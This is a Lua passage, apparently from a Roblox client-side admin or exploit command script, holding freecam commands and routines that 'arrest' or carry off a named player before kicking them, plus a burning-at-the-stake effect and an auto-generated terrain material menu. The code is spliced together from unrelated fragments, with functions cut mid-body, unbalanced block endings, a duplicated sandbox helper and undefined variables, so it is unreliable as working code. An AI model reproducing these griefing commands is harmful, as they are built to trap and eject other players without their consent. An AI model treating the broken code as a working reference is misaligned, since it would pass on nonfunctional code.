if not gameProcessedEvent and
game:GetService('Players').LocalPlayer.Character and
game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') then
if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode ==
Enum.KeyCode.Up then
k1 = true
cam1 = cs end
if inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode ==
Enum.KeyCode.Down then
k2 = true
cam1 = (cs*-1) end
if inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode ==
Enum.KeyCode.Left then
k3 = true
cam2 = cs end
if inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode ==
Enum.KeyCode.Right then
k4 = true
cam2 = (cs*-1) end
if inputObject.KeyCode == Enum.KeyCode.E or inputObject.KeyCode ==
Enum.KeyCode.Space then
k5 = true
cam3 = cs end
if inputObject.KeyCode == Enum.KeyCode.Q or inputObject.KeyCode ==
Enum.KeyCode.LeftControl then
k6 = true
cam3 = (cs*-1) end
end
end
game:GetService("UserInputService").InputBegan:connect(kp1)
function kp2(inputObject, gameProcessedEvent)
if not gameProcessedEvent and
game:GetService('Players').LocalPlayer.Character and
game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') then
if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode ==
Enum.KeyCode.Up then
k1 = false
if k2 == false then
cam1 = 0
end
end
if inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode ==
Enum.KeyCode.Down then
k2 = false
if k1 == false then
cam1 = 0
end
end
if inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode ==
Enum.KeyCode.Left then
k3= false
if k4== false then
cam2 = 0
end
end
if inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode ==
Enum.KeyCode.Right then
k4 = false
if k3 == false then
cam2 = 0
end
end
if inputObject.KeyCode == Enum.KeyCode.E or inputObject.KeyCode ==
Enum.KeyCode.Space then
k5 = false
if k6 == false then
cam3 = 0
end
end
if inputObject.KeyCode == Enum.KeyCode.Q or inputObject.KeyCode ==
Enum.KeyCode.LeftControl then
k6 = false
if k5 == false then
cam3 = 0
end
end
end
end
game:GetService("UserInputService").InputEnded:connect(kp2)
function FC()
if not game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC')
then
game:GetService('Players').LocalPlayer.PlayerScripts.ControlScript.Disabled =
true
local fc =
Instance.new('Part',game:GetService('Players').LocalPlayer.Character)
fc.CanCollide = false
fc.Anchored = true
fc.Transparency = 1
fc.Size = Vector3.new(1,1,1)
fc.Name = 'xFC'
fc.CFrame =
game:GetService('Players').LocalPlayer.Character.Head.CFrame
local cam = workspace.CurrentCamera
cam.CameraSubject = fc
cam.CameraType = 'Custom'
movecam()
end end
function UFC()
game:GetService('Players').LocalPlayer.PlayerScripts.ControlScript.Disabled =
false
if game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC')
then
game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC'):Destroy()
local cam = workspace.CurrentCamera
cam.CameraSubject =
game:GetService('Players').LocalPlayer.Character.Humanoid
cam.CameraType = 'Custom'
end end
addcmd('freecam','freecam',{'fc'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
FC()
end
end)
addcmd('fixcam','fixes camera',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
workspace.CurrentCamera:remove()
wait(.1)
workspace.CurrentCamera.CameraSubject = LP.Character.Humanoid
workspace.CurrentCamera.CameraType = "Custom"
LP.CameraMinZoomDistance = 0.5
LP.CameraMaxZoomDistance = 400
LP.CameraMode = "Classic"
end
end)
fire.Enabled=true
smoke.Enabled=true
light.Enabled=true
crack:Play()
scream:Play()
scream.Pitch = 0.8
--scream.Volume = 0.5
for i=1,30 do
crack.Volume = crack.Volume+(1/30)
scream.Volume = crack.Volume
fire.Size=i
smoke.RiseVelocity=i-5
smoke.Size=i/2
light.Range=i*2
wait(1)
end
for i=1,#colors do
bods.HeadColor=BrickColor.new(colors[i])
bods.LeftArmColor=BrickColor.new(colors[i])
bods.LeftLegColor=BrickColor.new(colors[i])
bods.RightArmColor=BrickColor.new(colors[i])
bods.RightLegColor=BrickColor.new(colors[i])
bods.TorsoColor=BrickColor.new(colors[i])
hay.BrickColor=BrickColor.new(colors[i])
hay2.BrickColor=BrickColor.new(colors[i])
stake.BrickColor=BrickColor.new(colors[i])
wait(5)
end
wait(10)
scream.Volume = 0.5
wait(1)
scream:Stop()
char:BreakJoints()
end
end)
addcmd('unfreecam','unfreecam',{'nofreecam','unfc','nofc'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
UFC()
end
end)
addcmd('freecamspeed','unfreecam',{'fcspeed'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
if isNumber(args[1]) then
cs = args[1]
end end end)
function makeball(pos)
local model = Instance.new("Model",workspace)
model.Name = gPlayers[v].Name .. "ball"
local rand = BrickColor.Random()
pchar.Head.Anchored = true
for i=0,340,20 do
wait()
for z=-90,70,20 do
local p = Instance.new("Part",model)
p.formFactor = "Custom"
p.BrickColor = rand
p.Transparency = 0.5
p.Size = Vector3.new(scale/5.5,scale/5.5,scale/140)
p.Anchored = true
p.TopSurface = 0
p.BottomSurface = 0
p.CFrame = CFrame.new(pos) *
CFrame.Angles(math.rad(z),math.rad(i),0) * CFrame.new(0,0,-scale/2)
p:breakJoints()
end
end
weld(model:children())
for i,v in pairs(model:children()) do v.Anchored = false end
pchar.Head.Anchored = false
model:MakeJoints()
end
if pchar then
makeball(pchar.HumanoidRootPart.Position+Vector3.new(0,scale/2-
2.5,0))
end
end
end)
function arrest(name)
spawn(function()
local p = game:GetService("Players"):FindFirstChild(name)
local char = p.Character
local torso =
p.Character:FindFirstChild("HumanoidRootPart")
local humanoid =
p.Character:FindFirstChild("Humanoid")
if torso and humanoid and not
char:FindFirstChild("ADONIS_VAN") then
local van =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://01308109587")
if van then
local function check()
if not van or not van.Parent
or not p or p.Parent ~= game:GetService("Players") or not torso or not humanoid or
not torso.Parent or not humanoid.Parent or not char or not char.Parent then
return false
else
return true
end
end
local sound =
Instance.new("Sound",primary)
sound.SoundId =
"rbxassetid://258529216"
sound.Looped = true
sound:Play()
local chuckle =
Instance.new("Sound",primary)
chuckle.SoundId =
"rbxassetid://175964948"
chuckle.Looped = true
chuckle.Volume = 0.5
chuckle:Play()
van.PrimaryPart = van.Primary
van.Name = "ADONIS_VAN"
van.Parent = workspace
humanoid.Name = "NoResetForYou"
humanoid.WalkSpeed = 0
sound.Pitch = 1.3
local music =
workspace:FindFirstChild("COPSONG") or Instance.new("Sound",workspace)
music.Name = "COPSONG"
music.SoundId =
"rbxassetid://132007810"
music.Volume = 1
music.Looped = true
if not music.Playing then
music:Play() end
spawn(function()
while fastwait(0.2) do
van.Body.Lightbar.Red.PointLight.Enabled = true
van.Body.Lightbar.Blue.PointLight.Enabled = false
fastwait(0.2)
van.Body.Lightbar.Red.PointLight.Enabled = false
van.Body.Lightbar.Blue.PointLight.Enabled = true
end
end)
for i = 1,200 do
if not check() then
break
else
van:SetPrimaryPartCFrame(tPos*(CFrame.new(-200+i,-1,-
7)*CFrame.Angles(0,math.rad(270),0)))
fastwait(0.001*(i/5))
end
end
sound.Pitch = 0.9
fastwait(0.5)
if check() then
--door.Transparency = 1
end
local freeze =
Instance.new("Sound",primary)
freeze.SoundId =
"rbxassetid://163732279"
freeze.Volume = 5
freeze:Play()
fastwait(3)
if check() then
torso.CFrame =
primary.CFrame*(CFrame.new(0,2.3,0)*CFrame.Angles(0,math.rad(90),0))
end
fastwait(0.5)
if check() then
--door.Transparency = 0
end
fastwait(0.5)
sound.Pitch = 1.3
local gui =
Instance.new("ScreenGui")
local frame =
Instance.new("Frame",gui)
frame.BackgroundTransparency = 1
frame.BackgroundColor3 =
Color3.new(0,0,0)
frame.Position = UDim2.new(0,0,0,-
36)
frame.Size = UDim2.new(1,0,1,36)
spawn(function()
for i = 1,0,-0.01 do
frame.BackgroundTransparency = i
fastwait(0.1)
end
frame.BackgroundTransparency
= 0
end)
p.CameraMaxZoomDistance = 0.5
torso.Anchored = true
for i = 1,400 do
if not check() then
break
else
van:SetPrimaryPartCFrame(tPos*(CFrame.new(0+i,-1,-
7)*CFrame.Angles(0,math.rad(270),0)))
torso.CFrame =
primary.CFrame*(CFrame.new(0,-0.4,0)*CFrame.Angles(0,math.rad(90),0))
fastwait(0.1/(i*5))
if i == 270 then
music.Volume = 5
end
end
end
if p and p.Parent ==
game:GetService("Players") then
if p ==
game:GetService("Players").LocalPlayer then
fastwait(5)
end
torso.Anchored = false
p.CharacterAdded:Connect(function()
fastwait()
KICK(p)
end)
KICK(p)
end
fastwait(0.5)
pcall(function() van:Destroy() end)
pcall(function() gui:Destroy() end)
if not
workspace:FindFirstChild("ADONIS_VAN") then
music:Destroy()
end
end
end
end)
end
Model0:MoveTo(game:GetService('Players').LocalPlayer.Character:GetModelCFrame().p)
Model0.Parent = game:GetService('Workspace')
end)
function gull(name)
spawn(function()
local char = game:GetService("Players")[name].Character
char.PrimaryPart = char.HumanoidRootPart
if char:FindFirstChild("Torso") then
char.Torso.Anchored = true
else
char.UpperTorso.Anchored = true
end
char:FindFirstChildOfClass("Humanoid").Name = "Sad"
for i = 400,-1000,-2 do
local der = 0.02*i
local angle = math.atan(der/1)
gull.CFrame = initCFrame*CFrame.Angles(angle,math.pi,0) +
initCFrame.lookVector * (i+5) + Vector3.new(0,0.01*i^2+7,0)
if i == 0 then sound:Play() end
if i <= 0 then
char:SetPrimaryPartCFrame(gull.CFrame)
local nextAngle = -0.2*math.sin(0.05*math.pi*(i))
leftMotor.DesiredAngle = -nextAngle
leftMotor.C0 = CFrame.new(-50.2919998,
47.193*math.tan(nextAngle), 0.280000001)
rightMotor.DesiredAngle = nextAngle
rightMotor.C0 = CFrame.new(47.1930008,
47.193*math.tan(nextAngle), 0.280000001)
end
game:GetService("RunService").RenderStepped:wait()
end
if char:FindFirstChild("Torso") then
char.Torso.Anchored = false
else
char.UpperTorso.Anchored = false
end
spawn(function()
if game:GetService("Players")[name] == game:GetService("Players").LocalPlayer
then wait(5) end
game:GetService("Players")[name].CharacterAdded:Connect(function()
wait()
KICK(game:GetService("Players")[name])
end)
KICK(game:GetService("Players")[name])
end)
local go = Instance.new("BodyVelocity",gull)
go.Velocity = Vector3.new(0,1000,0)
go.MaxForce = Vector3.new(1000000,1000000,1000000)
gull.Anchored = false
end)
end
function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
HopperBin0 = Instance.new("HopperBin")
HopperBin0.Name = "Terrain Build"
HopperBin0.Parent = mas
for i,v in pairs(mas:GetChildren()) do
v.Parent = game:GetService("Players").LocalPlayer.Backpack
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
wait(0.01)
function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
ScreenGui0 = Instance.new("ScreenGui")
ImageLabel1 = Instance.new("ImageLabel")
ImageButton2 = Instance.new("ImageButton")
Frame3 = Instance.new("Frame")
NumberValue4 = Instance.new("NumberValue")
ImageButton5 = Instance.new("ImageButton")
Frame6 = Instance.new("Frame")
NumberValue7 = Instance.new("NumberValue")
ImageButton8 = Instance.new("ImageButton")
Frame9 = Instance.new("Frame")
NumberValue10 = Instance.new("NumberValue")
ImageButton11 = Instance.new("ImageButton")
Frame12 = Instance.new("Frame")
NumberValue13 = Instance.new("NumberValue")
ImageButton14 = Instance.new("ImageButton")
Frame15 = Instance.new("Frame")
NumberValue16 = Instance.new("NumberValue")
ImageButton17 = Instance.new("ImageButton")
Frame18 = Instance.new("Frame")
NumberValue19 = Instance.new("NumberValue")
ImageButton20 = Instance.new("ImageButton")
Frame21 = Instance.new("Frame")
NumberValue22 = Instance.new("NumberValue")
ImageButton23 = Instance.new("ImageButton")
Frame24 = Instance.new("Frame")
NumberValue25 = Instance.new("NumberValue")
ImageButton26 = Instance.new("ImageButton")
Frame27 = Instance.new("Frame")
NumberValue28 = Instance.new("NumberValue")
ImageButton29 = Instance.new("ImageButton")
Frame30 = Instance.new("Frame")
NumberValue31 = Instance.new("NumberValue")
ImageButton32 = Instance.new("ImageButton")
Frame33 = Instance.new("Frame")
NumberValue34 = Instance.new("NumberValue")
ImageButton35 = Instance.new("ImageButton")
Frame36 = Instance.new("Frame")
NumberValue37 = Instance.new("NumberValue")
ImageButton38 = Instance.new("ImageButton")
Frame39 = Instance.new("Frame")
NumberValue40 = Instance.new("NumberValue")
ImageButton41 = Instance.new("ImageButton")
Frame42 = Instance.new("Frame")
NumberValue43 = Instance.new("NumberValue")
ImageButton44 = Instance.new("ImageButton")
Frame45 = Instance.new("Frame")
NumberValue46 = Instance.new("NumberValue")
ImageButton47 = Instance.new("ImageButton")
Frame48 = Instance.new("Frame")
NumberValue49 = Instance.new("NumberValue")
ImageButton50 = Instance.new("ImageButton")
Frame51 = Instance.new("Frame")
NumberValue52 = Instance.new("NumberValue")
ImageButton53 = Instance.new("ImageButton")
Frame54 = Instance.new("Frame")
ScreenGui0.Name = "MaterialGui"
ScreenGui0.Parent = mas
ImageLabel1.Name = "MaterialMenu"
ImageLabel1.Parent = ScreenGui0
ImageLabel1.Transparency = 1
ImageLabel1.Size = UDim2.new(0, 100, 0, 450)
ImageLabel1.Position = UDim2.new(0, 0, 1, -550)
ImageLabel1.BackgroundTransparency = 1
ImageLabel1.ZIndex = 2
ImageLabel1.Image = "rbxasset://textures/ui/MaterialMenu.png"
ImageButton2.Name = "Grass"
ImageButton2.Parent = ImageLabel1
ImageButton2.Transparency = 1
ImageButton2.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton2.Position = UDim2.new(0.0700000003, 0, 0.0599999987, 0)
ImageButton2.BackgroundTransparency = 1
ImageButton2.ZIndex = 4
ImageButton2.Image = "http://www.roblox.com/asset/?id=56563112"
Frame3.Name = "Selection"
Frame3.Parent = ImageButton2
Frame3.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame3.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame3.BackgroundColor3 = Color3.new(1, 1, 1)
Frame3.BorderSizePixel = 0
Frame3.ZIndex = 3
NumberValue4.Name = "num"
NumberValue4.Parent = ImageButton2
NumberValue4.Value = 1
ImageButton5.Name = "Sand"
ImageButton5.Parent = ImageLabel1
ImageButton5.Transparency = 1
ImageButton5.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton5.Position = UDim2.new(0.524545431, 0, 0.0599999987, 0)
ImageButton5.BackgroundTransparency = 1
ImageButton5.ZIndex = 4
ImageButton5.Image = "http://www.roblox.com/asset/?id=62356652"
Frame6.Name = "Selection"
Frame6.Parent = ImageButton5
Frame6.Transparency = 1
Frame6.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame6.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame6.BackgroundColor3 = Color3.new(1, 1, 1)
Frame6.BackgroundTransparency = 1
Frame6.BorderSizePixel = 0
Frame6.ZIndex = 3
NumberValue7.Name = "num"
NumberValue7.Parent = ImageButton5
NumberValue7.Value = 2
ImageButton8.Name = "Brick"
ImageButton8.Parent = ImageLabel1
ImageButton8.Transparency = 1
ImageButton8.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton8.Position = UDim2.new(0.0700000003, 0, 0.161010101, 0)
ImageButton8.BackgroundTransparency = 1
ImageButton8.ZIndex = 4
ImageButton8.Image = "http://www.roblox.com/asset/?id=65961537"
Frame9.Name = "Selection"
Frame9.Parent = ImageButton8
Frame9.Transparency = 1
Frame9.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame9.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame9.BackgroundColor3 = Color3.new(1, 1, 1)
Frame9.BackgroundTransparency = 1
Frame9.BorderSizePixel = 0
Frame9.ZIndex = 3
NumberValue10.Name = "num"
NumberValue10.Parent = ImageButton8
NumberValue10.Value = 3
ImageButton11.Name = "Granite"
ImageButton11.Parent = ImageLabel1
ImageButton11.Transparency = 1
ImageButton11.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton11.Position = UDim2.new(0.524545431, 0, 0.161010101, 0)
ImageButton11.BackgroundTransparency = 1
ImageButton11.ZIndex = 4
ImageButton11.Image = "http://www.roblox.com/asset/?id=67532153"
Frame12.Name = "Selection"
Frame12.Parent = ImageButton11
Frame12.Transparency = 1
Frame12.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame12.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame12.BackgroundColor3 = Color3.new(1, 1, 1)
Frame12.BackgroundTransparency = 1
Frame12.BorderSizePixel = 0
Frame12.ZIndex = 3
NumberValue13.Name = "num"
NumberValue13.Parent = ImageButton11
NumberValue13.Value = 4
ImageButton14.Name = "Asphalt"
ImageButton14.Parent = ImageLabel1
ImageButton14.Transparency = 1
ImageButton14.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton14.Position = UDim2.new(0.0700000003, 0, 0.2620202, 0)
ImageButton14.BackgroundTransparency = 1
ImageButton14.ZIndex = 4
ImageButton14.Image = "http://www.roblox.com/asset/?id=67532038"
Frame15.Name = "Selection"
Frame15.Parent = ImageButton14
Frame15.Transparency = 1
Frame15.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame15.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame15.BackgroundColor3 = Color3.new(1, 1, 1)
Frame15.BackgroundTransparency = 1
Frame15.BorderSizePixel = 0
Frame15.ZIndex = 3
NumberValue16.Name = "num"
NumberValue16.Parent = ImageButton14
NumberValue16.Value = 5
ImageButton17.Name = "Iron"
ImageButton17.Parent = ImageLabel1
ImageButton17.Transparency = 1
ImageButton17.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton17.Position = UDim2.new(0.524545431, 0, 0.2620202, 0)
ImageButton17.BackgroundTransparency = 1
ImageButton17.ZIndex = 4
ImageButton17.Image = "http://www.roblox.com/asset/?id=67532093"
Frame18.Name = "Selection"
Frame18.Parent = ImageButton17
Frame18.Transparency = 1
Frame18.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame18.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame18.BackgroundColor3 = Color3.new(1, 1, 1)
Frame18.BackgroundTransparency = 1
Frame18.BorderSizePixel = 0
Frame18.ZIndex = 3
NumberValue19.Name = "num"
NumberValue19.Parent = ImageButton17
NumberValue19.Value = 6
ImageButton20.Name = "Aluminum"
ImageButton20.Parent = ImageLabel1
ImageButton20.Transparency = 1
ImageButton20.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton20.Position = UDim2.new(0.0700000003, 0, 0.363030314, 0)
ImageButton20.BackgroundTransparency = 1
ImageButton20.ZIndex = 4
ImageButton20.Image = "http://www.roblox.com/asset/?id=67531995"
Frame21.Name = "Selection"
Frame21.Parent = ImageButton20
Frame21.Transparency = 1
Frame21.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame21.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame21.BackgroundColor3 = Color3.new(1, 1, 1)
Frame21.BackgroundTransparency = 1
Frame21.BorderSizePixel = 0
Frame21.ZIndex = 3
NumberValue22.Name = "num"
NumberValue22.Parent = ImageButton20
NumberValue22.Value = 7
ImageButton23.Name = "Gold"
ImageButton23.Parent = ImageLabel1
ImageButton23.Transparency = 1
ImageButton23.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton23.Position = UDim2.new(0.524545431, 0, 0.363030314, 0)
ImageButton23.BackgroundTransparency = 1
ImageButton23.ZIndex = 4
ImageButton23.Image = "http://www.roblox.com/asset/?id=67532118"
Frame24.Name = "Selection"
Frame24.Parent = ImageButton23
Frame24.Transparency = 1
Frame24.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame24.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame24.BackgroundColor3 = Color3.new(1, 1, 1)
Frame24.BackgroundTransparency = 1
Frame24.BorderSizePixel = 0
Frame24.ZIndex = 3
NumberValue25.Name = "num"
NumberValue25.Parent = ImageButton23
NumberValue25.Value = 8
ImageButton26.Name = "Plank"
ImageButton26.Parent = ImageLabel1
ImageButton26.Transparency = 1
ImageButton26.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton26.Position = UDim2.new(0.0700000003, 0, 0.464040399, 0)
ImageButton26.BackgroundTransparency = 1
ImageButton26.ZIndex = 4
ImageButton26.Image = "http://www.roblox.com/asset/?id=67532015"
Frame27.Name = "Selection"
Frame27.Parent = ImageButton26
Frame27.Transparency = 1
Frame27.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame27.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame27.BackgroundColor3 = Color3.new(1, 1, 1)
Frame27.BackgroundTransparency = 1
Frame27.BorderSizePixel = 0
Frame27.ZIndex = 3
NumberValue28.Name = "num"
NumberValue28.Parent = ImageButton26
NumberValue28.Value = 9
ImageButton29.Name = "Log"
ImageButton29.Parent = ImageLabel1
ImageButton29.Transparency = 1
ImageButton29.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton29.Position = UDim2.new(0.524545431, 0, 0.464040399, 0)
ImageButton29.BackgroundTransparency = 1
ImageButton29.ZIndex = 4
ImageButton29.Image = "http://www.roblox.com/asset/?id=67532051"
Frame30.Name = "Selection"
Frame30.Parent = ImageButton29
Frame30.Transparency = 1
Frame30.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame30.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame30.BackgroundColor3 = Color3.new(1, 1, 1)
Frame30.BackgroundTransparency = 1
Frame30.BorderSizePixel = 0
Frame30.ZIndex = 3
NumberValue31.Name = "num"
NumberValue31.Parent = ImageButton29
NumberValue31.Value = 10
ImageButton32.Name = "Gravel"
ImageButton32.Parent = ImageLabel1
ImageButton32.Transparency = 1
ImageButton32.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton32.Position = UDim2.new(0.0700000003, 0, 0.565050483, 0)
ImageButton32.BackgroundTransparency = 1
ImageButton32.ZIndex = 4
ImageButton32.Image = "http://www.roblox.com/asset/?id=67532206"
Frame33.Name = "Selection"
Frame33.Parent = ImageButton32
Frame33.Transparency = 1
Frame33.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame33.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame33.BackgroundColor3 = Color3.new(1, 1, 1)
Frame33.BackgroundTransparency = 1
Frame33.BorderSizePixel = 0
Frame33.ZIndex = 3
NumberValue34.Name = "num"
NumberValue34.Parent = ImageButton32
NumberValue34.Value = 11
ImageButton35.Name = "Cinder"
ImageButton35.Parent = ImageLabel1
ImageButton35.Transparency = 1
ImageButton35.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton35.Position = UDim2.new(0.524545431, 0, 0.565050483, 0)
ImageButton35.BackgroundTransparency = 1
ImageButton35.ZIndex = 4
ImageButton35.Image = "http://www.roblox.com/asset/?id=67532103"
Frame36.Name = "Selection"
Frame36.Parent = ImageButton35
Frame36.Transparency = 1
Frame36.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame36.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame36.BackgroundColor3 = Color3.new(1, 1, 1)
Frame36.BackgroundTransparency = 1
Frame36.BorderSizePixel = 0
Frame36.ZIndex = 3
NumberValue37.Name = "num"
NumberValue37.Parent = ImageButton35
NumberValue37.Value = 12
ImageButton38.Name = "Stone"
ImageButton38.Parent = ImageLabel1
ImageButton38.Transparency = 1
ImageButton38.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton38.Position = UDim2.new(0.0700000003, 0, 0.666060627, 0)
ImageButton38.BackgroundTransparency = 1
ImageButton38.ZIndex = 4
ImageButton38.Image = "http://www.roblox.com/asset/?id=67531804"
Frame39.Name = "Selection"
Frame39.Parent = ImageButton38
Frame39.Transparency = 1
Frame39.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame39.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame39.BackgroundColor3 = Color3.new(1, 1, 1)
Frame39.BackgroundTransparency = 1
Frame39.BorderSizePixel = 0
Frame39.ZIndex = 3
NumberValue40.Name = "num"
NumberValue40.Parent = ImageButton38
NumberValue40.Value = 13
ImageButton41.Name = "Cement"
ImageButton41.Parent = ImageLabel1
ImageButton41.Transparency = 1
ImageButton41.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton41.Position = UDim2.new(0.524545431, 0, 0.666060627, 0)
ImageButton41.BackgroundTransparency = 1
ImageButton41.ZIndex = 4
ImageButton41.Image = "http://www.roblox.com/asset/?id=67532059"
Frame42.Name = "Selection"
Frame42.Parent = ImageButton41
Frame42.Transparency = 1
Frame42.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame42.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame42.BackgroundColor3 = Color3.new(1, 1, 1)
Frame42.BackgroundTransparency = 1
Frame42.BorderSizePixel = 0
Frame42.ZIndex = 3
NumberValue43.Name = "num"
NumberValue43.Parent = ImageButton41
NumberValue43.Value = 14
ImageButton44.Name = "Red Plastic"
ImageButton44.Parent = ImageLabel1
ImageButton44.Transparency = 1
ImageButton44.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton44.Position = UDim2.new(0.0700000003, 0, 0.767070711, 0)
ImageButton44.BackgroundTransparency = 1
ImageButton44.ZIndex = 4
ImageButton44.Image = "http://www.roblox.com/asset/?id=67531848"
Frame45.Name = "Selection"
Frame45.Parent = ImageButton44
Frame45.Transparency = 1
Frame45.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame45.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame45.BackgroundColor3 = Color3.new(1, 1, 1)
Frame45.BackgroundTransparency = 1
Frame45.BorderSizePixel = 0
Frame45.ZIndex = 3
NumberValue46.Name = "num"
NumberValue46.Parent = ImageButton44
NumberValue46.Value = 15
ImageButton47.Name = "Blue Plastic"
ImageButton47.Parent = ImageLabel1
ImageButton47.Transparency = 1
ImageButton47.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton47.Position = UDim2.new(0.524545431, 0, 0.767070711, 0)
ImageButton47.BackgroundTransparency = 1
ImageButton47.ZIndex = 4
ImageButton47.Image = "http://www.roblox.com/asset/?id=67531924"
Frame48.Name = "Selection"
Frame48.Parent = ImageButton47
Frame48.Transparency = 1
Frame48.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame48.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame48.BackgroundColor3 = Color3.new(1, 1, 1)
Frame48.BackgroundTransparency = 1
Frame48.BorderSizePixel = 0
Frame48.ZIndex = 3
NumberValue49.Name = "num"
NumberValue49.Parent = ImageButton47
NumberValue49.Value = 16
ImageButton50.Name = "Water"
ImageButton50.Parent = ImageLabel1
ImageButton50.Transparency = 1
ImageButton50.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton50.Position = UDim2.new(0.0700000003, 0, 0.867999971, 0)
ImageButton50.BackgroundTransparency = 1
ImageButton50.ZIndex = 4
ImageButton50.Image = "https://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?
fmt=png&wd=75&ht=75&aid=82717697"
Frame51.Name = "Selection"
Frame51.Parent = ImageButton50
Frame51.Transparency = 1
Frame51.Size = UDim2.new(1.10000002, 0, 1.10000002, 0)
Frame51.Position = UDim2.new(-0.0500000007, 0, -0.0500000007, 0)
Frame51.BackgroundColor3 = Color3.new(1, 1, 1)
Frame51.BackgroundTransparency = 1
Frame51.BorderSizePixel = 0
Frame51.ZIndex = 3
NumberValue52.Name = "num"
NumberValue52.Parent = ImageButton50
NumberValue52.Value = 17
ImageButton53.Name = "Dig"
ImageButton53.Parent = ImageLabel1
ImageButton53.Transparency = 1
ImageButton53.Size = UDim2.new(0.400000006, 0, 0.088888891, 0)
ImageButton53.Position = UDim2.new(0.524999976, 0, 0.867999971, 0)
ImageButton53.BackgroundTransparency = 1
ImageButton53.ZIndex = 4
ImageButton53.Image = "http://www.roblox.com/asset/?id=7814201"
Frame54.Name = "Selection"
Frame54.Parent = ImageButton53
Frame54.Transparency = 1
